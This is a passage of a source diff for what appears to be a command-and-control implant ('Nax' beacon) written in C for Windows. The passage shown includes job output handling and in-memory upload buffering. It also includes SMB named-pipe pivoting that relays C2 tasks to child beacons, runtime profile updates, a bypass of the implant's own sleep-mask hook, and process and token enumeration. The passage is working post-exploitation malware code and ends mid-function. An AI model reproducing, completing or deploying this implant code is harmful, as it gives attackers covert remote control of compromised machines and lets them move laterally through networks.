if ( data_len > 0 ) {
|
||||
out[ hdr_off ] = NAX_JOB_OUTPUT;
|
||||
NaxW32( out + hdr_off + 1, job->TaskId );
|
||||
NaxW32( out + hdr_off + 5, data_len );
|
||||
written += 9 + data_len;
|
||||
}
|
||||
}
|
||||
}
|
||||
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
|
||||
}
|
||||
pp = &job->Next;
|
||||
continue;
|
||||
}
|
||||
|
||||
/* ---- finished or killed - final drain + cleanup ---- */
|
||||
BYTE jobType = ( job->State == NAX_JOB_KILLED ) ? NAX_JOB_KILLED : NAX_JOB_COMPLETE;
|
||||
|
||||
Nax->Ntdll.RtlEnterCriticalSection( &job->Lock );
|
||||
UINT32 hdr_off = written;
|
||||
UINT32 data_off = written + 9;
|
||||
UINT32 data_len = 0;
|
||||
if ( data_off < out_cap )
|
||||
data_len = JobPackOutput( Nax, &job->BofCtx, out + data_off, out_cap - data_off, TRUE );
|
||||
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
|
||||
|
||||
out[ hdr_off ] = jobType;
|
||||
NaxW32( out + hdr_off + 1, job->TaskId );
|
||||
NaxW32( out + hdr_off + 5, data_len );
|
||||
written += 9 + data_len;
|
||||
|
||||
/* unlink */
|
||||
*pp = job->Next;
|
||||
|
||||
if ( job->Abandoned ) {
|
||||
/* thread may still be alive - intentionally leak all resources */
|
||||
NaxDbg( Nax, "[job] leaked abandoned taskId=0x%08x", job->TaskId );
|
||||
} else {
|
||||
if ( job->BofCtx.Buf ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->BofCtx.Buf );
|
||||
JobFreeMedia( Nax, job->BofCtx.MediaHead );
|
||||
if ( job->CoffCopy ) {
|
||||
MmZero( job->CoffCopy, job->CoffSize );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
|
||||
}
|
||||
if ( job->ArgsCopy ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy );
|
||||
if ( job->hThread ) Nax->Kernel32.CloseHandle( job->hThread );
|
||||
if ( job->hStopEvent ) Nax->Ntdll.NtClose( job->hStopEvent );
|
||||
Nax->Ntdll.RtlDeleteCriticalSection( &job->Lock );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job );
|
||||
}
|
||||
}
|
||||
|
||||
return written;
|
||||
}
|
||||
|
||||
/* ========= [ list ] ========= */
|
||||
|
||||
FUNC INT NaxJobList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
UINT32 count = 0;
|
||||
PBYTE p = out + 4;
|
||||
UINT32 cap = *out_len - 4;
|
||||
|
||||
NAX_JOB* job = Nax->JobHead;
|
||||
while ( job && count * 9 < cap ) {
|
||||
NaxW32( p, job->TaskId ); p += 4;
|
||||
*p++ = (BYTE)job->State;
|
||||
UINT32 elapsed = (UINT32)( ( Nax->Kernel32.GetTickCount64() - job->StartTick ) / 1000u );
|
||||
NaxW32( p, elapsed ); p += 4;
|
||||
count++;
|
||||
job = job->Next;
|
||||
}
|
||||
|
||||
NaxW32( out, count );
|
||||
*out_len = 4 + count * 9;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
/* beacon/src/Commands/MemSave.c
|
||||
* CMD_SAVEMEMORY (0x2A) - accumulate upload data chunks in memory.
|
||||
*
|
||||
* Task args wire format:
|
||||
* memoryId(4LE) + totalSize(4LE) + chunkSize(4LE) + chunk_data
|
||||
*
|
||||
* First chunk allocates the buffer; subsequent chunks append.
|
||||
* CMD_UPLOAD later retrieves the accumulated buffer by memoryId.
|
||||
*
|
||||
* Result: zero-length, status=OK (silent - no console output). */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
FUNC INT NaxCmdSaveMemory( PNAX_INSTANCE Nax,
|
||||
const PBYTE args,
|
||||
UINT32 args_len,
|
||||
PBYTE out,
|
||||
UINT32* out_len ) {
|
||||
if ( !args || args_len < 12 ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 memoryId = NaxR32( args );
|
||||
UINT32 totalSize = NaxR32( args + 4 );
|
||||
UINT32 chunkSize = NaxR32( args + 8 );
|
||||
if ( 12 + chunkSize > args_len ) return NAX_ERR_INVAL;
|
||||
PBYTE chunkData = (PBYTE)args + 12;
|
||||
|
||||
/* Find or create MemSave node */
|
||||
NAX_MEMSAVE* ms = Nax->MemSaveHead;
|
||||
while ( ms ) {
|
||||
if ( ms->MemoryId == memoryId ) break;
|
||||
ms = ms->Next;
|
||||
}
|
||||
|
||||
if ( !ms ) {
|
||||
ms = (NAX_MEMSAVE*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_MEMSAVE ) );
|
||||
if ( !ms ) return NAX_ERR_NOMEM;
|
||||
ms->Buffer = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, totalSize );
|
||||
if ( !ms->Buffer ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
ms->MemoryId = memoryId;
|
||||
ms->TotalSize = totalSize;
|
||||
ms->CurrentSize = 0;
|
||||
ms->Next = Nax->MemSaveHead;
|
||||
Nax->MemSaveHead = ms;
|
||||
}
|
||||
|
||||
/* Append chunk data */
|
||||
UINT32 space = ms->TotalSize - ms->CurrentSize;
|
||||
UINT32 copy_len = ( chunkSize <= space ) ? chunkSize : space;
|
||||
if ( copy_len > 0 ) {
|
||||
MmCopy( ms->Buffer + ms->CurrentSize, chunkData, copy_len );
|
||||
ms->CurrentSize += copy_len;
|
||||
}
|
||||
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* Retrieve accumulated buffer by memoryId. Returns NULL if not found. */
|
||||
FUNC NAX_MEMSAVE* NaxMemSaveGet( PNAX_INSTANCE Nax, UINT32 memoryId ) {
|
||||
NAX_MEMSAVE* ms = Nax->MemSaveHead;
|
||||
while ( ms ) {
|
||||
if ( ms->MemoryId == memoryId ) return ms;
|
||||
ms = ms->Next;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Free a MemSave node and unlink it from the list. */
|
||||
FUNC VOID NaxMemSaveFree( PNAX_INSTANCE Nax, UINT32 memoryId ) {
|
||||
NAX_MEMSAVE** prev = &Nax->MemSaveHead;
|
||||
NAX_MEMSAVE* ms = Nax->MemSaveHead;
|
||||
while ( ms ) {
|
||||
if ( ms->MemoryId == memoryId ) {
|
||||
*prev = ms->Next;
|
||||
if ( ms->Buffer )
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms->Buffer );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, ms );
|
||||
return;
|
||||
}
|
||||
prev = &ms->Next;
|
||||
ms = ms->Next;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,343 @@
|
||||
/* beacon/src/Commands/Pivot.c
|
||||
* Parent-side pivot manager: link/unlink/pivot_exec + ProcessPivots.
|
||||
*
|
||||
* NAX_CMD_LINK - connect to child's named pipe, read beat, store pivot
|
||||
* NAX_CMD_UNLINK - disconnect a linked child
|
||||
* NAX_CMD_PIVOT_EXEC- write data to child's pipe (tasks from C2)
|
||||
* NaxProcessPivots - poll all pivot read events, collect child responses */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Pivot.h"
|
||||
#include "Transport.h"
|
||||
#include "Pipe.h"
|
||||
|
||||
/* ========= [ post async header read ] ========= */
|
||||
|
||||
FUNC VOID NaxPostPivotHeaderRead( PNAX_INSTANCE Nax, NAX_PIVOT* p ) {
|
||||
if ( p->Async->RdPending )
|
||||
return;
|
||||
p->Async->RdHeader = 0;
|
||||
Nax->Kernel32.ResetEvent( p->Async->OvRead.hEvent );
|
||||
DWORD nRead = 0;
|
||||
BOOL ok = Nax->Kernel32.ReadFile( p->hPipe, &p->Async->RdHeader, 4, &nRead, &p->Async->OvRead );
|
||||
if ( ok ) {
|
||||
Nax->Kernel32.SetEvent( p->Async->OvRead.hEvent );
|
||||
p->Async->RdPending = TRUE;
|
||||
} else if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING ) {
|
||||
p->Async->RdPending = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
/* ========= [ CMD_LINK ] ========= */
|
||||
|
||||
FUNC INT CmdLink( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 6 )
|
||||
return NAX_ERR_INVAL;
|
||||
|
||||
BYTE linkType = args[0];
|
||||
UINT32 nameLen = *(UINT32*)( args + 1 );
|
||||
if ( 5 + nameLen > args_len || nameLen > 512 )
|
||||
return NAX_ERR_INVAL;
|
||||
|
||||
CHAR pipePath[520];
|
||||
MmZero( pipePath, 520 );
|
||||
MmCopy( pipePath, args + 5, nameLen );
|
||||
|
||||
/* connect to child's pipe */
|
||||
HANDLE hPipe = Nax->Kernel32.CreateFileA( pipePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL );
|
||||
if ( hPipe == INVALID_HANDLE_VALUE ) {
|
||||
*(UINT32*)out = Nax->Kernel32.GetLastError();
|
||||
*out_len = 4;
|
||||
return NAX_ERR_NET;
|
||||
}
|
||||
|
||||
/* set message mode */
|
||||
DWORD dwMode = PIPE_READMODE_MESSAGE;
|
||||
Nax->Kernel32.SetNamedPipeHandleState( hPipe, &dwMode, NULL, NULL );
|
||||
|
||||
/* read beat from child: [4-byte len][beat data] */
|
||||
HANDLE hTempEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
if ( ! hTempEvent ) {
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
UINT32 beatLen = 0;
|
||||
if ( ! NaxPipeRead( Nax, hPipe, hTempEvent, (PBYTE)&beatLen, 4 ) || beatLen == 0 || beatLen > 0x100000 ) {
|
||||
Nax->Ntdll.NtClose( hTempEvent );
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
return NAX_ERR_NET;
|
||||
}
|
||||
|
||||
PBYTE beatBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, beatLen );
|
||||
if ( ! beatBuf ) {
|
||||
Nax->Ntdll.NtClose( hTempEvent );
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
if ( ! NaxPipeRead( Nax, hPipe, hTempEvent, beatBuf, beatLen ) ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
|
||||
Nax->Ntdll.NtClose( hTempEvent );
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
return NAX_ERR_NET;
|
||||
}
|
||||
Nax->Ntdll.NtClose( hTempEvent );
|
||||
|
||||
/* allocate async I/O state */
|
||||
NAX_PIVOT_ASYNC* async = (NAX_PIVOT_ASYNC*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_PIVOT_ASYNC ) );
|
||||
if ( ! async ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
MmZero( async, sizeof( NAX_PIVOT_ASYNC ) );
|
||||
async->OvRead.hEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
async->hWriteEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
|
||||
/* allocate pivot entry */
|
||||
NAX_PIVOT* pivot = (NAX_PIVOT*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_PIVOT ) );
|
||||
if ( ! pivot ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, async );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
MmZero( pivot, sizeof( NAX_PIVOT ) );
|
||||
pivot->hPipe = hPipe;
|
||||
pivot->Async = async;
|
||||
pivot->Id = taskId;
|
||||
pivot->Next = Nax->PivotHead;
|
||||
Nax->PivotHead = pivot;
|
||||
|
||||
/* arm the first async header read */
|
||||
NaxPostPivotHeaderRead( Nax, pivot );
|
||||
|
||||
/* result: linkType(1) | watermark(4LE) | sessionId(16) | encrypted_data */
|
||||
if ( beatLen < 4 ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
|
||||
return NAX_ERR_INVAL;
|
||||
}
|
||||
UINT32 resultLen = 1 + beatLen;
|
||||
if ( resultLen > *out_len ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
out[0] = linkType;
|
||||
MmCopy( out + 1, beatBuf, beatLen );
|
||||
*out_len = resultLen;
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_UNLINK ] ========= */
|
||||
|
||||
FUNC INT CmdUnlink( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 4 )
|
||||
return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 pivotId = *(UINT32*)args;
|
||||
BYTE result = 0;
|
||||
|
||||
NAX_PIVOT** pp = &Nax->PivotHead;
|
||||
while ( *pp ) {
|
||||
NAX_PIVOT* p = *pp;
|
||||
if ( p->Id == pivotId ) {
|
||||
if ( p->Async->RdPending )
|
||||
Nax->Kernel32.CancelIo( p->hPipe );
|
||||
Nax->Kernel32.FlushFileBuffers( p->hPipe );
|
||||
Nax->Kernel32.DisconnectNamedPipe( p->hPipe );
|
||||
Nax->Kernel32.CloseHandle( p->hPipe );
|
||||
if ( p->Async->OvRead.hEvent )
|
||||
Nax->Ntdll.NtClose( p->Async->OvRead.hEvent );
|
||||
if ( p->Async->hWriteEvent )
|
||||
Nax->Ntdll.NtClose( p->Async->hWriteEvent );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p->Async );
|
||||
*pp = p->Next;
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p );
|
||||
result = 1; /* SMB type */
|
||||
break;
|
||||
}
|
||||
pp = &p->Next;
|
||||
}
|
||||
|
||||
/* result: pivot_id(4LE) | pivot_type(1) */
|
||||
*(UINT32*)out = pivotId;
|
||||
out[4] = result;
|
||||
*out_len = 5;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_PIVOT_EXEC ] ========= */
|
||||
|
||||
FUNC INT CmdPivotExec( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 8 )
|
||||
return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 pivotId = *(UINT32*)( args );
|
||||
UINT32 dataLen = *(UINT32*)( args + 4 );
|
||||
if ( 8 + dataLen > args_len )
|
||||
return NAX_ERR_INVAL;
|
||||
|
||||
/* server sends empty pivot data when child has no tasks - skip the write
|
||||
* so we don't push a 0-length header that kills the child's pipe loop */
|
||||
if ( dataLen == 0 ) {
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
PBYTE data = (PBYTE)( args + 8 );
|
||||
|
||||
NAX_PIVOT* p = Nax->PivotHead;
|
||||
while ( p ) {
|
||||
if ( p->Id == pivotId ) {
|
||||
NaxPipeWrite( Nax, p->hPipe, p->Async->hWriteEvent, data, dataLen );
|
||||
p->Async->DataSent = TRUE;
|
||||
break;
|
||||
}
|
||||
p = p->Next;
|
||||
}
|
||||
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ ProcessPivots - collect child responses ] ========= */
|
||||
|
||||
/* Output format: concatenated entries, each: entry_len(4LE) | type(1) | body
|
||||
* type 0 = pivot data: pivot_id(4) | data_len(4) | data
|
||||
* type 1 = auto-unlink: pivot_id(4) | disconnect_type(1)
|
||||
* Caller iterates entries and sends each as a separate result POST. */
|
||||
|
||||
FUNC UINT32 NaxProcessPivots( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
|
||||
UINT32 written = 0;
|
||||
NAX_PIVOT** pp = &Nax->PivotHead;
|
||||
|
||||
/* Bypass BeaconGate for pivot waits - the gated WaitForSingleObject
|
||||
* routes through sleep_mask. Pivot waits are short synchronous polls
|
||||
* for child pipe data, not beacon sleep - they must not route through
|
||||
* the sleepmask. */
|
||||
typedef DWORD (WINAPI *FN_WFSO)( HANDLE, DWORD );
|
||||
FN_WFSO realWfso = (FN_WFSO)Nax->Kernel32.WaitForSingleObject;
|
||||
for ( UINT32 i = 0; i < Nax->GateSwaps.Count; i++ ) {
|
||||
if ( Nax->GateSwaps.Entries[i].Slot == (PVOID*)&Nax->Kernel32.WaitForSingleObject ) {
|
||||
realWfso = (FN_WFSO)Nax->GateSwaps.Entries[i].Original;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
while ( *pp ) {
|
||||
NAX_PIVOT* p = *pp;
|
||||
BOOL broken = FALSE;
|
||||
|
||||
NaxPostPivotHeaderRead( Nax, p );
|
||||
if ( ! p->Async->RdPending ) {
|
||||
broken = TRUE;
|
||||
goto _cleanup;
|
||||
}
|
||||
|
||||
/* Wait synchronously so child responses are collected in the
|
||||
* same relay cycle before the output goes out. 2 s covers slow
|
||||
* BOFs (whoami enumerating groups/privileges via LookupAccountSid)
|
||||
* and multi-hop SMB chains where the intermediary must wait for
|
||||
* grandchildren before relaying results to the parent. */
|
||||
DWORD waitMs = 0;
|
||||
UINT64 deadline = 0;
|
||||
if ( p->Async->DataSent ) {
|
||||
waitMs = 2000;
|
||||
deadline = Nax->Kernel32.GetTickCount64() + 2000;
|
||||
NaxDbg( Nax, "[pivot] DataSent=1 for pivot %08x, waitMs=%u", p->Id, waitMs );
|
||||
}
|
||||
p->Async->DataSent = FALSE;
|
||||
|
||||
/* collect available messages */
|
||||
UINT32 msgCount = 0;
|
||||
while ( 1 ) {
|
||||
DWORD w = realWfso( p->Async->OvRead.hEvent, waitMs );
|
||||
if ( w == WAIT_TIMEOUT ) {
|
||||
NaxDbg( Nax, "[pivot] wait timeout after %u msgs (waitMs=%u)", msgCount, waitMs );
|
||||
break;
|
||||
}
|
||||
if ( w != WAIT_OBJECT_0 ) { broken = TRUE; break; }
|
||||
|
||||
DWORD nRead = 0;
|
||||
if ( ! Nax->Kernel32.GetOverlappedResult( p->hPipe, &p->Async->OvRead, &nRead, FALSE ) ) {
|
||||
if ( Nax->Kernel32.GetLastError() == ERROR_IO_INCOMPLETE )
|
||||
break;
|
||||
broken = TRUE;
|
||||
break;
|
||||
}
|
||||
p->Async->RdPending = FALSE;
|
||||
UINT32 msgLen = p->Async->RdHeader;
|
||||
if ( msgLen == 0 || msgLen > 0x1000000 ) { broken = TRUE; break; }
|
||||
|
||||
/* read message body */
|
||||
PBYTE msgBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, msgLen );
|
||||
if ( ! msgBuf ) { broken = TRUE; break; }
|
||||
|
||||
HANDLE hEvt = p->Async->OvRead.hEvent;
|
||||
if ( ! NaxPipeRead( Nax, p->hPipe, hEvt, msgBuf, msgLen ) ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, msgBuf );
|
||||
broken = TRUE;
|
||||
break;
|
||||
}
|
||||
msgCount++;
|
||||
NaxDbg( Nax, "[pivot] read msg #%u from pivot %08x (%u bytes)", msgCount, p->Id, msgLen );
|
||||
|
||||
/* entry: entry_len(4) | type(1)=DATA | pivot_id(4) | data_len(4) | data */
|
||||
UINT32 entryBody = 1 + 4 + 4 + msgLen;
|
||||
if ( written + 4 + entryBody <= out_cap ) {
|
||||
PBYTE cur = out + written;
|
||||
*(UINT32*)cur = entryBody;
|
||||
cur[4] = NAX_PIV_TYPE_DATA;
|
||||
*(UINT32*)( cur + 5 ) = p->Id;
|
||||
*(UINT32*)( cur + 9 ) = msgLen;
|
||||
MmCopy( cur + 13, msgBuf, msgLen );
|
||||
written += 4 + entryBody;
|
||||
}
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, msgBuf );
|
||||
|
||||
/* Recompute wait from remaining budget so stale heartbeats
|
||||
* in the pipe don't starve deeper relay chains. */
|
||||
if ( deadline ) {
|
||||
UINT64 now = Nax->Kernel32.GetTickCount64();
|
||||
waitMs = ( now >= deadline ) ? 0 : (DWORD)( deadline - now );
|
||||
}
|
||||
if ( waitMs > 100 )
|
||||
waitMs = 100;
|
||||
|
||||
/* arm next header read */
|
||||
NaxPostPivotHeaderRead( Nax, p );
|
||||
if ( ! p->Async->RdPending ) break;
|
||||
}
|
||||
|
||||
_cleanup:
|
||||
if ( broken ) {
|
||||
Nax->Kernel32.CancelIo( p->hPipe );
|
||||
Nax->Kernel32.CloseHandle( p->hPipe );
|
||||
if ( p->Async->OvRead.hEvent )
|
||||
Nax->Ntdll.NtClose( p->Async->OvRead.hEvent );
|
||||
if ( p->Async->hWriteEvent )
|
||||
Nax->Ntdll.NtClose( p->Async->hWriteEvent );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p->Async );
|
||||
|
||||
/* entry: entry_len(4) | type(1)=UNLINK | pivot_id(4) | disconnect_type(1) */
|
||||
UINT32 entryBody = 1 + 4 + 1;
|
||||
if ( written + 4 + entryBody <= out_cap ) {
|
||||
PBYTE cur = out + written;
|
||||
*(UINT32*)cur = entryBody;
|
||||
cur[4] = NAX_PIV_TYPE_UNLINK;
|
||||
*(UINT32*)( cur + 5 ) = p->Id;
|
||||
cur[9] = 10; /* PIVOT_TYPE_DISCONNECT */
|
||||
written += 4 + entryBody;
|
||||
}
|
||||
|
||||
*pp = p->Next;
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, p );
|
||||
} else {
|
||||
pp = &p->Next;
|
||||
}
|
||||
}
|
||||
return written;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
/* beacon/src/Commands/Profile.c
|
||||
* CMD_PROFILE (0x30) - apply a v2 profile update at runtime. */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
FUNC INT CmdProfile( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 4 ) {
|
||||
out[0] = NAX_STATUS_ERR;
|
||||
*out_len = 1;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
INT rc = NaxApplyProfile( Nax, args, args_len );
|
||||
if ( rc == NAX_OK ) {
|
||||
out[0] = NAX_STATUS_OK;
|
||||
*out_len = 1;
|
||||
} else {
|
||||
out[0] = NAX_STATUS_ERR;
|
||||
*out_len = 1;
|
||||
}
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
#include "Nax.h"
|
||||
#include "Common.h"
|
||||
|
||||
/* ========= [ TokenToUser - resolve SID to domain\username + elevation ] ========= */
|
||||
|
||||
static BOOL NaxTokenToUser( PNAX_INSTANCE Nax, HANDLE hToken, PCHAR username, DWORD* usernameSize, PCHAR domain, DWORD* domainSize, BOOL* elevated ) {
|
||||
if ( !hToken || !Nax->Advapi32.GetTokenInformation || !Nax->Advapi32.LookupAccountSidA )
|
||||
return FALSE;
|
||||
|
||||
BOOL result = FALSE;
|
||||
DWORD tokenInfoSize = 0;
|
||||
|
||||
Nax->Advapi32.GetTokenInformation( hToken, TokenUser, NULL, 0, &tokenInfoSize );
|
||||
if ( tokenInfoSize == 0 ) return FALSE;
|
||||
|
||||
PVOID tokenInfo = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize );
|
||||
if ( !tokenInfo ) return FALSE;
|
||||
|
||||
if ( Nax->Advapi32.GetTokenInformation( hToken, TokenUser, tokenInfo, tokenInfoSize, &tokenInfoSize ) ) {
|
||||
SID_NAME_USE sidType;
|
||||
result = Nax->Advapi32.LookupAccountSidA( NULL, ((PTOKEN_USER)tokenInfo)->User.Sid, username, usernameSize, domain, domainSize, &sidType );
|
||||
}
|
||||
|
||||
struct { DWORD TokenIsElevated; } elev;
|
||||
DWORD elevSize = sizeof( elev );
|
||||
if ( Nax->Advapi32.GetTokenInformation( hToken, (TOKEN_INFORMATION_CLASS)20, &elev, sizeof( elev ), &elevSize ) )
|
||||
*elevated = elev.TokenIsElevated ? TRUE : FALSE;
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, tokenInfo );
|
||||
return result;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_PS_LIST (0x23) ] ========= */
|
||||
|
||||
/* Wire format (success):
|
||||
* result(1)=1 + count(4LE) + count × [pid(2LE) + ppid(2LE) + session(2LE) + arch64(1) + elevated(1) + domain_len(2LE)+domain + username_len(2LE)+username + procname_len(2LE)+procname]
|
||||
* Wire format (failure):
|
||||
* result(1)=0 + error_code(4LE) */
|
||||
|
||||
FUNC INT CmdPsList( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
(void)args; (void)args_len;
|
||||
if ( *out_len < 5 ) return NAX_ERR_NOMEM;
|
||||
|
||||
ULONG spiSize = 0;
|
||||
NTSTATUS status = Nax->Ntdll.NtQuerySystemInformation( SystemProcessInformation, NULL, 0, &spiSize );
|
||||
if ( status != STATUS_INFO_LENGTH_MISMATCH ) {
|
||||
out[0] = 0;
|
||||
out[1] = NAX_ERROR_INVALID_PARAMETER; out[2] = 0; out[3] = 0; out[4] = 0;
|
||||
*out_len = 5;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
spiSize += NAX_SYSINFO_EXTRA_BUF;
|
||||
PSYSTEM_PROCESS_INFORMATION spi = (PSYSTEM_PROCESS_INFORMATION)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, spiSize );
|
||||
if ( !spi ) return NAX_ERR_NOMEM;
|
||||
|
||||
status = Nax->Ntdll.NtQuerySystemInformation( SystemProcessInformation, spi, spiSize, &spiSize );
|
||||
if ( !NT_SUCCESS( status ) ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, spi );
|
||||
out[0] = 0;
|
||||
out[1] = NAX_ERROR_INVALID_PARAMETER; out[2] = 0; out[3] = 0; out[4] = 0;
|
||||
*out_len = 5;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
PSYSTEM_PROCESS_INFORMATION spiStart = spi;
|
||||
DWORD accessMask = PROCESS_QUERY_LIMITED_INFORMATION;
|
||||
UINT32 cap = *out_len;
|
||||
|
||||
out[0] = 1;
|
||||
PBYTE countPos = out + 1;
|
||||
UINT32 pos = 5;
|
||||
UINT32 count = 0;
|
||||
|
||||
do {
|
||||
if ( !spi->ImageName.Buffer ) goto next_entry;
|
||||
|
||||
BOOL elevated = FALSE;
|
||||
BYTE arch64 = NAX_ARCH_UNKNOWN;
|
||||
CHAR procName[260];
|
||||
DWORD usernameLen = MAX_PATH;
|
||||
CHAR username[MAX_PATH];
|
||||
DWORD domSize = MAX_PATH;
|
||||
CHAR domain[MAX_PATH];
|
||||
MmZero( procName, 260 );
|
||||
MmZero( username, MAX_PATH );
|
||||
MmZero( domain, MAX_PATH );
|
||||
|
||||
OBJECT_ATTRIBUTES objAttr;
|
||||
MmZero( &objAttr, sizeof( objAttr ) );
|
||||
objAttr.Length = sizeof( OBJECT_ATTRIBUTES );
|
||||
|
||||
HANDLE hProcess = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
CLIENT_ID clientId;
|
||||
MmZero( &clientId, sizeof( clientId ) );
|
||||
clientId.UniqueProcess = spi->UniqueProcessId;
|
||||
|
||||
NTSTATUS ns = Nax->Ntdll.NtOpenProcess( &hProcess, accessMask, &objAttr, &clientId );
|
||||
if ( NT_SUCCESS( ns ) ) {
|
||||
ULONG_PTR piWow64 = 0;
|
||||
ns = Nax->Ntdll.NtQueryInformationProcess( hProcess, ProcessWow64Information, &piWow64, sizeof( ULONG_PTR ), NULL );
|
||||
if ( NT_SUCCESS( ns ) )
|
||||
arch64 = ( piWow64 == 0 ) ? 1 : 0;
|
||||
|
||||
ns = Nax->Ntdll.NtOpenProcessToken( hProcess, NAX_TOKEN_QUERY, &hToken );
|
||||
if ( NT_SUCCESS( ns ) )
|
||||
NaxTokenToUser( Nax, hToken, username, &usernameLen, domain, &domSize, &elevated );
|
||||
}
|
||||
|
||||
/* Convert process name from wide to narrow */
|
||||
UINT32 imgChars = spi->ImageName.Length / 2;
|
||||
if ( imgChars > 259 ) imgChars = 259;
|
||||
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, spi->ImageName.Buffer, (INT)imgChars, procName, 259, NULL, NULL );
|
||||
|
||||
/* Measure string lengths */
|
||||
UINT32 pnLen = 0; while ( procName[pnLen] ) pnLen++;
|
||||
UINT32 unLen = 0; while ( username[unLen] ) unLen++;
|
||||
UINT32 dmLen = 0; while ( domain[dmLen] ) dmLen++;
|
||||
|
||||
/* per-entry size: pid(2) + ppid(2) + session(2) + arch64(1) + elevated(1) + domain(2+n) + username(2+n) + procname(2+n) */
|
||||
